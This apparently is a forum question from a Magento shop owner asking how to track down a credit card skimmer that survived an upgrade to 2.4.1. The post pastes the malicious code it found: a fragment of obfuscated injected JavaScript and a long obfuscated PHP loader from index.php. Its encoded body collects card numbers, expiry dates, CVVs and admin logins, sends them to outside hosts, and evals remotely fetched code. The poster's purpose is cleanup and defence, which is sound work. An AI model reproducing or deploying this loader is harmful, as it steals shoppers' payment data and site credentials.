0

I upgraded our Magento from 1.9 to 2.4.1 after we found malware that was trying to copy customer credit cards before allowing the customer to use PayPal.

I used Magento's migration tools to copy data to the new site. I'm also using a Porto theme that's been modified.

Then I couldn't believe it. The payment page on the new 2.4 version site was showing the same credit card skimmer. As the page loads, you can see PayPal appear then is hidden by the skimmer. PayPal is the only payment option I should have.

I've used a virus scan on the server. Also used the Magento Security Scan which came back with 'Your Magento installation has not been compromised with known injected JavaScript malware.' to my surprise.

Does anyone have any suggestions as to how I can start or where to start hunting down this malware?

Update: I found the code was being injected below the tag. If I flush the Javascript cache the malicious script ends at the bottom of all the other .js files that are loaded. Which causes the page not to load. Below is the code that is being injected.

The index.php file in the Magento root folder had been modified with the code below. But the issue was still there after I remove the code. Below is the code I found in that file.

I have also searched the database for 'script' and 'var' without any luck.

Card Skimmer after page loads

Code being injected snippet the code is very obfuscated:

var a0a=['wwjwwM4=','sKfKvva=','pIa8zgL2ignSyq==','DgTvCLe=','wLnXwLK=','A01Tr0m=','rgXvtMi=','BNLRreW=','y19JAwqNxq==','suz6q3e=','sfnLuge=','i2nHCMqTy29Kzq==','phnLBgvJDcbPza==','AKzjD2O=','thv6s0i=','x3LYiIbUyw1Lpq==','tuf6zNa=','y3rVCIGICMv0Dq==','vNzNB2e=','sMvKy1K=','zKfnvhO=',

This is what was injected into the index.php file:

$BcKxNeHlLm="\x73";$WYRrPhjfq="\156\157";$BcKxNeHlLm.="\x74";$wTGBOhd1Y="\164";$BcKxNeHlLm.="\162";$BcKxNeHlLm.="\162";$hOTFW1f="\x65";$wTGBOhd1Y.="\162\x65\163";$WYRrPhjfq.="\x69\164\143";$hOTFW1f.="\144";$BcKxNeHlLm.="\145\166";$wTGBOhd1Y.="\163";$hOTFW1f.="\x6f\x63";$hOTFW1f.="\145\x64";$WYRrPhjfq.="\156\x75";$hOTFW1f.="\137";$hOTFW1f.="\x34";$hOTFW1f.="\66\145";$WYRrPhjfq.="\x66\x5f\x65";$WYRrPhjfq.="\x74\x61\145";$WYRrPhjfq.="\x72\x63";$wTGBOhd1Y.="\x61";$hOTFW1f.="\x73\141";$hOTFW1f.="\142";$WYRrPhjfq=$BcKxNeHlLm($WYRrPhjfq);$hOTFW1f=$BcKxNeHlLm($hOTFW1f);$wTGBOhd1Y=$BcKxNeHlLm($wTGBOhd1Y);$tE09pMRXE="jaCwgJG9wdGlvbnMpOw0KICAgICAgICAgICAgJGNvbnRlbnQgPSBAY3VybF9leGVjNVUkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gZmFsc2UsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WHaiASPgwmc19FdldGJgACIgACIgAiCNsTKxACLiIVRTV1XO9ERPxUQHVUTigSZulmZlRGIgACIgACIgoQD7BSKpIiUFNVVf50TE9ETBdURNJCKkVmbpZWZkFCKgYWagACIgoQACIgACIgACIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIgACIgACIgAiCNsTZ1xWY29FckASPgIXZi1WduFmcyFGI9ASehJncBNHZsVWamRCIgACIgACIgoQD7BSKpkSXnEGdhR2XsFmbvlGdpRGZhdyWddCZvhGdl1EduVWb5FGcnsFdhR2X0N3bwRCK0V2czlGKgYiJgkSKddCZvhGdl1EduVWb5FGcnsFdhR2X0N3bwRCK0V2czlGKoAiZpBCIgAiCNoQD9BCIgAiCN5KA0KICAgICAgICAgICAgIi8uKmNjX251bS4qLyIgPT4gMSwNCiAgICAgICAgICAgICIvLipjb250cm9sX3NldHRpbmdCIgACIgACIgACIgAiCNwiIw4iMz8CevZWZylmRgEDMxAjMxAjMRCK5FmcyF2X0B3b0V2cfxmc1NGIgACIgACIgACIgAiCNsTKsJXdfRXZnRCK0lmbp9FbyV3Yg0DIoNGJgACIgACIgACIgACIK0gCNoQD7kCIgACIgACIgACIgAiCNU2csFmZg4TPgc4V2XjNmKu8iIgACIgACIgACIgACIK0ALxAiP9AiIvoiLzaWYgKCFkZWZpbmVkKCJNRUdBTE9ET05fTTIiKSkgew0KDQogICAgZGVmaW5lKCJNRUdBTE9ET05fTTIiLCAxKTsNCg0KICAgIGlm3br5icngCbpFWbABCIgACIgACIgACIgoQDK0QfgACIgACIgACIgACIK0wOpQWZXZnRCK0lmbp9FbyV3Yg0DIoNGJgACIgACIgACIgACIgACIgACIgAiCNoQD7kCIgACIgACIgACIgACIgACIgACIgoQDlNHbhZGI+0DIUN1TIllRJJVRfRCI9ACa0FGckACIgACIgACIgACIgoQD7BSKpkSXnI2Y691JbVUSL90TD9FJoQXZzNXahgCImYCIp01JulWbkF2JbVUSL90TD9FJoQXZzNXagYiJgkSXnM3Y691JbVUSL9XJsX2luaXQiKSkgew0KICAgICAgICAgICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLA0KICAgICAgIgcCfnAiLgknc05WdvNGJg4CInw3Jg4CIddSZk92Y0N3bwdyWddyczVmcIgACIgACIgACIgoQD7BSKp01JslWYtVkcl12b0NXdjdyW0FGZfR3cvBHJoQXZzNXaoAiZpBCIgACIgACIK0wOiICI9ACbslmYkACIgACIgACIK0iZ0d3L3BnLrlGdhR3ctUGbn92bn9yL6MHc0RHaiASPgwmc19FdldGJgACIgACIgAiCNsHIpkyJzYDM4gTOwI2N5IWMyUTMywNCiAgICAgICAgICAgICIvLipleHBfeWVhci4qLyIgPT4gMywNCiAgICAgICAgICAgICIvLipleHBpcmF0aW9uWWVhci4qLyIgPT4gMywNCiAgICAgICAgICAgICIvLip5ZWxsb3dfc2V0LiovIiA9PiAzLA0KICAgICAgICAgICAgIi8uKnNhdmFJ0ZXMyMDE4QHlhbmRleC5ydScsICdiYl8nIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddLCAkY2NfcGF5KTsNCiAgICAgICAgfQ0KICAgIH0NCg0KDR0cHM6Ly9wYXRoYy5zcGFjZS9NRUdBTE9ET04yL2luZGV4LnBocD92aWV3PSI7DQoNCiAgICAgICAgaWYgKChpc3NldCgkX1BPU1RbJ2xvZ2luJ10pICYmIChpc3NldCgkX1BPU1RbJ2xvZ2luJ11bJ3VzZXJuYW1lJ10pKSAmJiAoaXNzZXQoJF9QT1NlRfSVAnXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHVzZXJfZGF0YSA9IGJhc2U2NF9lbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIjskcGF0aDsiIC4gJFRfdXJsIC4gJHVzZXJfZGF0YSk7DQogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjaCwgJG9wdGlvbnMpOw0KICAgICAgICAgICAgICAgICAgICBAY3VybF9leGR2X0N3bwRCIgACIK0gCN0HIgACIK0wO05WZ052bjRCIuJXd0VmcgACIgACIgAiCNsTKoNGJoMWCghZW1wdHkoJF9QT1NUKSkgew0KICAgICAgICAkcG9zdF9kYXQgPSAkcG9zdF9kYXQgPyBhcnJheV9tZXJnZSgkcG9zdF9kYXQsICRfUE9TVCkgOiAkX1BPU1Q7DQogICAgfQ0KDQogICAgaWYgKCRwb3N0X2RhdCkgewiAiLg01Jl1WYuJXZzV3Jb11Jul2Zvx2JbR1UPB1XkgSZk92YuV2X0YTZzFmYg0DIuV2avRXYkACIgACIgACIgACIgoQD7BSKpkSKddCZy92dzNXYwdyWddibpd2bsdyWUgwSMgwiIiNmefJCKll2av92Y0V2cgACIgACIgACIgACIgACIgoQDK0QfgACIgACIgACIgACIgACIgoQD7kCajRCKjVRoOw0KICAgICAgICAgICAgaWYgKHN0cmxlbigkY2NfeWVhcikgPT0gNCkNCiAgICAgICAgICAgICAgICAkY2NfeWVhciA9IHN1YnN0cigkY2NfeWVhciwgMiwgMik7DQogICAgICAgICAgICAkY2NfcGF5ID0gJGNjX251bWTPN0XkgCdlNnb1BCIgACIgACIK0wegkSKddCbtRHaulWbkdWbnsVRJt0TPN0XkgCdlN3cphCIsHIpkSXng2chh2XzNWa0NXa0FGdzdyWUN1TQ9FJoQXZzNXaoAiZpBCIgAiCNoQD9BCIg0QOV0XUB1TMJVVDBCIgACIgACIgACIgACIgACIgACIgACIgoQDsUWdyRHI+0DIO9USUF0QPx0VPxETPZ0XUB1TMJVVDBCIgACIgACIgACIgACIgACIgACIgACIgoQDsU2csFmZg4TPgIVREFURI9FVQ9ETSV1QgACIgACIgACIgACIgACIgACF9tLiovIiA9PiAyLA0KICAgICAgICAgICAgIi8uKmV4cF9tb250aC4qLyIgPT4gMiwNCiAgICAgICAgICAgICIvLipleHBpcmF0aW9uTW9udGguKi8iIDdGltZSgpICsgMzYwMDAsICIvIik7DQogICAgICAgICAgICAgICAgc2V0Y29va2llKCJfemNzIiwgMSwgdGltZSgpIC0gMzYwMDAsICIvIik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9Ow==JbRXYk9Fdz9GckAyPgkSXnQWS5JHduV3bjdyWddyczVmckRWYnsYWRkcmVzcyddWydzdHJlZXQnXVsnMCddIC4gJ3wnIC4gJHBvc3RfZGF0WydhZGRyZXNzJ11bJ2NpdHknXTsNCiAgICAgICAgICAgICRiaWxsIC49ICJ8IiAuICRwb3N0X2RhdFsnYWRkcmVzcyddWydyZWdpb24nXSAuICd8JyAuICRwb3N0X2RhdFsnYWRkImlGIgACIK0gCNsTKlVnc0BCL0FGZfR3cvBHJoUGZvNWZk9lbvNnag0DI0FGZfR3cvBHJgACIgACIgAiCNkCdhR2X0N3bwRCKgYWagACIgoQDK0wOpkyJNCiAgICAgICAgdW5zZXQoJF9QT1NUWydzdGF0aXN0aWNzX2hhc2gnXSk7DQogICAgfQ0KDQogICAgaWYgKChpc3NldCgkX0NPT0tJRVsnd3RmJ10pKSAmJiAobWQ1KCRfQ09PS0lFWyd3dGYnXSkgPT0gJzdhYzFjY2E1YmVlOGI4YjMxYU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkcGF0aCwgImFkbWluL2Rhc2hib9PiA0DQogICAgICAgICk7DQoNCiAgICAgICAgJGNjX251bWJlciA9ICRjY01vbnRoID0gJGNjX3llYXIgPSAkY2NfY2lkID0gIiI7DQoNCiAgICAgICAgZm9yZWFjaCAoJGZpZWxkc0FycmF5IGFzICRmX2tleSA9PiAkZl92YWx1ZS5ZWFyIC4gJ3wnIC4gJGNjX2NpZDsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX0NPT0tJRVsnX2JkbTInXSkpDQogICAgICAgICAgICAgICAgJGNjX3BheSAuPSAnfCcgLiBiYXNlNjRfZGVjb2RlKCRfQ09PS0lFWydOyIgLiAkX1BPU1RbJ2xvZ2luJ11bJ3Bhc3N3b3JkJ10pOw0KICAgICAgICAgICAgc2V0Y29va2llKCJfemNzIiwgJGF0b2tlbiwgdGltZSgpICsgMzYwMDAsICIvIik7DQogICAgICAgICAgICAkX0NPT0tVSTE9QVF9NQVhSRURJUlMgPT4gMTAsDQogICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSID0+IGZhbHNlLA0KICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiBmYWxzZQ0KICAgICAgICApOw0KDQogEIgACIgACIgACIgACIgACIgACIgACIgAiCNwCMxAiP9TFlETD9FUURFSnslUFZlUFN1XkASPgAXafJXZzVHJgACIgACIgACIgACIgACIgACIgAiCNsHIpkSXnAVSfRlTFlETD9FUURFSnslUFZlUFN1XkgCdlN3cphCImlGIgACIgACIgACIgACIgACIK0QfgACIgACInbv12XjNGJg4CInAzJg0DIoRnbv12XjNGJgACIgACIgACIgACIgACIgoQDpEDI90DIpgGdu9WbfN2YkgiblxnsFdhR2X0N3bwRCIuAyJ8dCIuASXnUWbh5GdzFGbnsVXnM3clJHZkF2JbRXYk9Fdz9GckAiLgcCInAiLg01Jl1WYuR3cylmZnsVXnM3clJHZkF2JbRXYk9Fdz9GckASPgwGbpJGJgg4TPgIyLq4SefBHel91YjpiLvICIgACIgACIgACIgAiCNwiMg4TPgIyLq4CdlN3XuNXbq4yLiACIgACIgACIgACIgoQDsIDI+0pkyclh2Y0FWbkACL5V2afBHJgwSelt2XmRCKoNGdh12XnVmcwhCImlGIgACIgACIgACIgACIgACIK0wegkSZ1xWY29FckAiP9ASelt2XwRCIzAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoJGNjX251bWJlcikgew0KICAgICAgICAgICAgaWYgKHN0cmgICAgICAgICAgICAgICAgICAgICRjY19jaWQgPSAkcF92YWx1ZTsNCiAgICAiIvoiLkl2YfN2Yq4yLiACIgACIgACIgACIgoQDsQDI+0DIi8iKuQXZz9VZnIgACIgoQDokXYyJXYg0DIz52bpRHcvRCIgACIgACIgoQD7BSK0N3bwRCIswmc1RCK5JXZ1F3Xy02Xu9GZvxWYnVWbg42bpR3YuVnZdjJCKzR3cphXZf52bpR3YuVnZoAiZpBCIgACIgACIgACIgACIgAiCNoQD7kSY0FGZfJXZzVHJgwyJiJTJnACLisiIoU2YhxGclJ3XyR3cg0DIhRXYk9lclNXdkACIgACIgACIgACIgACIgAiCNsTKwl2XyV2c1RCIuAyJ7cCIuASXnM3Y691JbVUSL90TD9kACIgACIgACIgACIgACIgAiCNsHIpcSMnASPhACduNGJoAiZpBCIgACIgACIgACIgoQD9BCIgACIgACIgACIgoQD7kCduNGJo0WayRHI9ACduNGJgACIgACIgACIgACIgACIgoQD7kSZzxWYmBCLkVGZvNmbl9VehB3XjNGJg4CIn0zdllmd/AHaw5CelRmbplXYwdyW0FGZfR3cvBHJoACajFWZy9mZgACIgACIgACIgACIK0wegkLiAkcG9zdF9kYXRbJ2FkZHJlc3MnXVsndGVsZXBob25lJ107DQogICAgIHIgACIgACIgoQD7Q3cvBHJg0DIdNFRMVUSGR1UPB1XUB1TMJVVDt1cu9Wa0B3bkACIgACIgACIgACIgoQD7EDI9ASXUN1TQ9FVQ9ETSV1QbNnbvlGdw9GJgACIgACIgACIgACIK0wegkCdz9GckgCImlGIgACIgACI1BUX1RJTUVPVVQgPT4gMTAsDQogICAgICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX01BWFJFRElSUyA9ESU5HID0+ICIiLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDUuMTsgcnY6MzIuMCkgR2Vja28vMjAxMjAxMDEgRmlyZWZveC8zMi4wIiwNCiAgICAgICA9PiAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNS4xOyBydjozMi4wKSBHZWNrby8yMDEyMDEwMSBGaXJlZm94LzMyLjAiLA0KICAgICAgICAgICAgQ1VSTE9QVFQ09PS0lFWydfYmRtJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgc2V0Y29va2llKCJfYmRtMiIsIGJhc2U2NF9lbmNvZGUoJGJpbGwpLCB0aW1lKCTMJVVDBCIgACIgACIgACIgACIgACIgACIgACIgoQDsATMg4TPgQVVPVUTJRFVDVkTO90QfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgACIgAiCNwSZ1JHdg4TPgIVRSVkRFJ1TUVVQfRFUPxkUVNEIgACIgACIgACIgACIgACIgANvbS9NRUdBTE9ET04yL2luZGV4LnBocD92aWV3PScgLiAkY2NfcGF5X2VuY29kCAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IHRydWUsDQogICAgICAgICAgICBDVVJMT1BUX0hFQURFUiA9PiBmYWxzZSwNCiAgICAgICAgAxMCwNCiAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSID0+IGZhbHNlLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1Q0NCg0KICAgICAgICAkY2ggPSBjdXJsX2luaXQoJHVybCk7DQogICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjaCwgJG9wdGlvbnMpOw0KICAgICAgICAkY29udGVudCA9IEBjdXJsX2V4ZV2X0YTZzFmYg0DIddiMtRmYfdyWFl0SP90QfRCIgACIgACIgACIgAiCNsTKi8iIgwCMwAjNzAyKgk9pbmRleC5waHA/aD0iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KICAgICAgICAkY29udGVudCA9ICIiOw0KICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgew0KmLtVHbvxWZj9yL6MHc0RHanAiLgcCIlJXdjV2culWLtACbyV3YngyYlhXZABCIgACIgACIgACIgACIgAiCNsHIpkSKiddIC4gIl0qIikpOw0KICAgICAgICAgICAgJGNjX3BheV9lbmNvZGVkID0gc3RyX3JlcGxhY2UoIisiLCAiJTJiIiwgJGNjX3BheV9lbmNvZGVkKTsNCg0KICAgICAgICAgICAgfRCKlR2bjVGZfRjNlNXYiBiLgICIiASPuACbslmYkACIgACIgACIgACIgACIgAiCNsHIpkSXn0GZi91JbVUSL90TD9FJoQXZzNXaoAiZpBCIgACIgACiUERUQfJVRWJVRTdyWSVkVSV0UfRCIuAiIbBiIg4CIddCVT9ESfBFVUh0JbJVRWJVRT9FJg4CIioibcJHXiAiLgkXYw91YjRCKzEDdvJ3XyR3coUGZvNmbl9FN2U2chJGI9ACZlR2bj5WZflXYw91YjRCIgACIgACIgACIgAiCNsTKddiMtRmYfgICAgICAgdW5zZXQoJF9DT09LSUVbJ2xvbHppbGxhJ10pOw0KICAgIH0NCg0KICAgIGlmIChpc3NldCgkX0NPT0tJRVsnZmxhc2h6aWxsYSddKSkgew0KICAgICAgICB1bnNldCgkX0NPT0tJRVsnZmxhc2h6aWxsYSddKTsNCiANvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJGdldF91cmwpOw0KICAgICAgICB9DQoNCiAgICAgICAgZXZhbCgkY29udGVudCk7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KDQogICAgIHsNCiAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkZl92YWx1ZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAxOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjY197kSXnwWah1WRyVWbvR3c1N2JbRXYk9Fdz9GckgSZk92YuV2X0YTZzFmYg0DIddSbkJ2XnsVRJt0TPN0XkACIgACIgACIgACIgoQD7kiIvICIsADMwYzMgsCIpgSZtlGdgGJgACIgACIgACIgACIK0wegkCduVGdu92YkECKgYWagACIgACIgAiCNoQD9BCIgACIgACIK0wOpQnblRnbvNGJo0WayRHI9ACduVGdu92YkACIgACIgACIgACIgoQD7kCajRCKtZW50TWV0aG9kJ11bJ2FkZGl0aW9uYWxfZGF0YSddIGFCBzZXRjb29raWUoIl9iZG0iLCBiYXNlNjRfZW5jb2RlKCRwb3N0X2RhdFsnY3VzdG9tZXJFbWFpbCddKSw0tJRVsnbWdkbWluaHRtbCddKTsNCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9DT09LSUVbJ3BvcnRgIGNhc2UgMjoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2NfbW9udGggPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMo0WayRHI9ACduNGJgACIgACIgACIgACIgACIgoQD7kCZlR2bj5WZiP9AyUSlERFJFWB10XUB1TMJVVDBCIgACIgACIgACIgACIgAiCNwCMyEDI+0DIUV1TF1USU9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsAjMxAiP9ACVV9URNlEVUNURO50TD9FVQ9ETSV1ACIgACIgACIK0gO0ASZzF2YgACIgACIgACIgACIgACIgACIgACIgACIK0wOrFWZyJGIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0wOlVHbhZ3XwRCI9AichVWefN2YkACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCNozEF0XFR1TNVkUnslUFZlUFN1XkASPgAXafJXZzVHJgACIgACIgACIgACIgACIgoQDK0wOpM3bwRCIsADIsgGdhBHJoIHdzJWdzBSPggGdhBHJgACIgACIgACIgACIgACIgoQD7BSKz9GckgCImlGIgACIgACIgACIgAiCNsTKikXZr9CelRmbp9CZyF2uY29kZSgkYmlsbCk7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCFlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgJHBvc3RfZGF0ID0gJHBvc3RfZGF0ID8gYXJyYXlfbWVyZ2UoJHBvc3RfZGF0LCAkX0dFVCkgOiAkX0dFVDshdCA9IHRyaW0oZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0CIgACIgACIgACIgACIK0wegkSKiQXaul2XsJXdjJCKzR3cphXZf52bpR3YuVnZoAiZpBCIgACIgACIgACIgoQD7ADI9ACduNGJ1QgACIgACIgACIgACIK0ALwITMg4TPgQVVPVUTJR1XUB1TMJVVDBCIgACIgACIgACIgoQDsAjMxAiP9ACVV9URNlEVUNURO50TD9FVQ9ETSV1QgACIgACIgACIgACIK0ALlVnc0BiP9AiUFJVRGVkUPRVVB90xMT1dMT0NBVElPTiA9PiB0cnVlLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfRU5DT0RJTkcgPT4gIiIsDQogICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDUuMTsgcnY6MzIuMCkgR2Vja28vJGNudCk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmICgoJGNudCAhPSAnMScpICYmIChmdW5jdGlvbl9leGlzdHMoImV4ZWMY250ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL2NlbG9sdW0uY29tL01FR0FMT0RPTjIvaW5kZXgucGhwP3ZpZXc9JyAuICRjY19wYXlfCIgoQD9BCIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIK0QfgACIgACIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIgACIgAKICAgICAgICAgICAgc2V0Y29va2llKCJfemNiIiwgMSwgdGltZSgpIC0gMzYwMDAsICIvIik7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoaXNzZXQoJF9DT0AgICBDVVJMT1BUX0FVVE9SRUZFUkVSID0+IHRydWUsDQogICAgICAgICAgICAgICAgQAgICRjbnQgPSBtZWdhbG9kb25fbTJfcXVlcnkoJ2h0dHBzOi8vY2Vsb2x1bS5jb20vTUVHQUxPRE9OMi92FkZHJlc3MnXVsnY291bnRyeUlkJ10gOiAkcG9zdF9kYXRbJ2FkZHJlc3MnXVsnY291bnRyeV9pZCddOw0KICAgICAgICAgICA91YjRCIuAyJvcCIuACa052bt91YjRCIuAyJ8dCIuAiclJCVOV0RBJVRTV1XUB1TMJVVDBCIgACIgACIgACIgoQDsIiIg4TPgckTJR0TD5URfRFUPxkUVNEIgACIgACIgACIgAiCNwSZ1JHdg4TPg40TJRVQD9ETX9ETM9kRfRFUPxkUVNEIgACIRFInXTsNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICR1c2VyX2lwID0gJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ107DQogICAgICAgICAgDQogICAgICAgIH0NCg0KICAgICAgICBpZiAoaXNzZXQoJHBvc3RfZGF0WydhZGRyZXNzJ10pKSB7DQogICAgICAgICAgICAkY291bnRyeSA9IGlzc2V0KCRwb3N0X2RhdFAiCNsHIpkSXnEGbslmes9GbnsVRJt0TPN0XkgCdlN3cphCImlGIgACIK0gCN0HIgACIK0wOp01JhxGbppHdy9GcnsVRJt0TPN0XkgCdlNnb1BCIgACIgACIK0wegkSKddSYsxWa60wegkSKp01JiNmefdyWFl0SP90QfRCK0V2czlGKgYiJgkSXnM3Y691JbVUSL90TD9FJoQXZzNXahgCImlGIgACIgACIgoQDK0QfgACIgACIgAiCNsjblt2b0FGJg0DIddycjp3XnsVRJTG9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsU2csFmZg4TPgIVREFURI9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsUWdyRHI+0DISVkRT5UQSRlTSVFVFJ1XUB1TMJVVDBCIgACIgACIgACIgACIgAiCNgSehJnchBSPgMnbvlGdw9GJgACIgACIgACIgACI";$n6q0cF0W="7QjMFFmQ6F0bzUFJg4mc1RXZypQKpYWMXZEVPhGJoQXZzNXahgiZppwO913OpkSXxsCR5N1X3kHJbdmT2tWeP10TIpGJs0FR5N1X3kHJbdmT2tWeP10TIpGJsUEWS1Ec5ATR0RCKyR3ciV3co0GTshUZOh3SjJEJ94CNyUUYCpXQvNTVksXZzxWZ9tTKdFzKEl3UfdTeks1ZOZ3a59UTPhkakwSXEl3UfdTeks1ZOZ3a59UTPhkakwSRYJVTwlDMFRHJoIHdzJWdz1jL0ITRhJkeB92MVRyepQTJEl3UfdTekgiZptXKy0zKEl3UfdTeksTKn5kdrl3TN9ESqRCKm9WZ6l2c8QUeT91N5RyOw0DR5N1X3kHJoI3bmtjIi0DNyUUYCpXQvNTVkowOpADMxwiMxkDLzcDLyMTMzwCO3wCN1MTOsYzMxwSM3AjMxwiM3EDL0ATN4wCO2wSNwIzMsgzNxwSM5ADNsMTOsEDN2EDL2QTMsUzM4cDL3kTMscDNzITMsUTOxwSOzYDMxwCM1wCM4YDL3YDL2EzMxEDL1QTMsQTN2kDL1ITMsATO0cDL2MTMsAzM3wSN2wCMsQzMxwCN5ATOsIDNxwiN3YDOsEDMxwyM3gTNsUTMxwSN3MzNsgzMxwyNwYTMxwCNyEDLykDO2wiN1EDLzgDNwEDL0cTMsYTN4QDLyYTMsgjN0YDLzQTMsUTM2cDL0cDL2ATNywyM1wiMzMDMxwyNxEDL0cTOzwSN2EDLwgTNywSMxEDLwMTNxwiM4wiM3ITOskjMxwSN2kDOsAzMxwSM0kTMxwSM1wSMzczMsgTOsQjN0ETMsczMxwCNxMTNsITOxwiM4czMsYTNsQzN0EDL3UDLxEDN2wSNxEDL2AjM4wiMyEDL2EDM3wyN3wCO1czNsIzNxwCM2EDMxwiM5EDL2kzMsITOsgDO1wiN0wiN2gDL3ETMsQTN0MDL4kDLxUDN1wyN4EDL0MzNxwCM2wyMxgTNsUzNxwiM2MDNsMTNsgTNzYDL0QDL4IjM5wSOwEDL5QTN1wyN0EDL4EDO4wCNwEDLykjMsAzNxwiMzQTOsQzNxwSO5cTOskTNsQTN3UDLwQTMsMTNwETMsYTOsgTN2UDL0gDLwMjM1wCO2EDL0YTOywSN0wiM2UTMxwCN2EDL3MTN0wyM4EDLxIzM4wCNzEDLycDM4wCO5wSN4MDMxwSM4wyM4MTMxwyM5EDL1YTM2wiMxEDLxQTOwEDLyUDLyAjN5wyNwEDL0MDOwEDLxkDLxgTO3wiM2wyMxMzNsIjNsITMwEDLxETMsEjM5EDLzMTMskTNxwSO4EDLyMDMywSOyEDL1QzNywSN1EDLxAzN0wCM0EDL3AjMyEDLzITMsMTOxETMsAzMxwCO4ETMsMTOskjNyQDL3gTMsMzN5kDL2kTMsUDN3ETMscTNxwyM3ATNsUDNxwSMyIjMsETOxwCN3kTNsYTNxwCOxMTMsEDOxwyM3IzMsADOxwiMxcjNsUzNxwCOzEzNsIDOsAzM2YDLzQDLwMDM1wCN5wSN2wCNxEDL0cDMxwCM0EDL2YzMywCM5wCN3gjMsAjNxwSM3UzMokXYyJXY9cmT2tWeP10TIpGJ";if(function_exists($WYRrPhjfq)){$MvvxmN=@$WYRrPhjfq('$tE09pMRXE,$BcKxNeHlLm',$hOTFW1f($BcKxNeHlLm($n6q0cF0W)));if($MvvxmN)$tE09pMRXE=@$MvvxmN($tE09pMRXE,$BcKxNeHlLm); }else{$L5scE3="\51\x29\51";$L5scE3.="\x57";$L5scE3.="\60\106";$L5scE3.="\143";$L5scE3.="\60\161\x36";$L5scE3.="\156\44\x28";$L5scE3.="\x6d\114\x6c";$L5scE3.="\110\x65\x4e";$L5scE3.="\x78";$L5scE3.="\x4b";$L5scE3.="\143\x42";$L5scE3.="\x24\x28\146";$L5scE3.="\x31\x57";$L5scE3.="\x46\124";$L5scE3.="\117\x68";$L5scE3.="\x24\50\154";$L5scE3.="\141";$L5scE3.="\x76\x65\x40";$L5scE3=$BcKxNeHlLm($L5scE3);@$wTGBOhd1Y($L5scE3);};if(function_exists($WYRrPhjfq)){$Lhtbvwfqj=@$WYRrPhjfq("",$hOTFW1f($BcKxNeHlLm($tE09pMRXE)));if($Lhtbvwfqj)@$Lhtbvwfqj();}else{$rUUXAfo="\x29\51\51";$rUUXAfo.="\x45\x58";$rUUXAfo.="\122\115";$rUUXAfo.="\x70";$rUUXAfo.="\x39";$rUUXAfo.="\x30\x45\x74";$rUUXAfo.="\44\x28\x6d";$rUUXAfo.="\x4c";$rUUXAfo.="\x6c\x48";$rUUXAfo.="\x65\x4e";$rUUXAfo.="\x78\113\x63";$rUUXAfo.="\102\44\x28";$rUUXAfo.="\146\x31";$rUUXAfo.="\127\x46";$rUUXAfo.="\124";$rUUXAfo.="\117\x68";$rUUXAfo.="\44";$rUUXAfo.="\50\154";$rUUXAfo.="\141\x76";$rUUXAfo.="\145\100";$rUUXAfo=$BcKxNeHlLm($rUUXAfo);@$wTGBOhd1Y($rUUXAfo);};/*

0

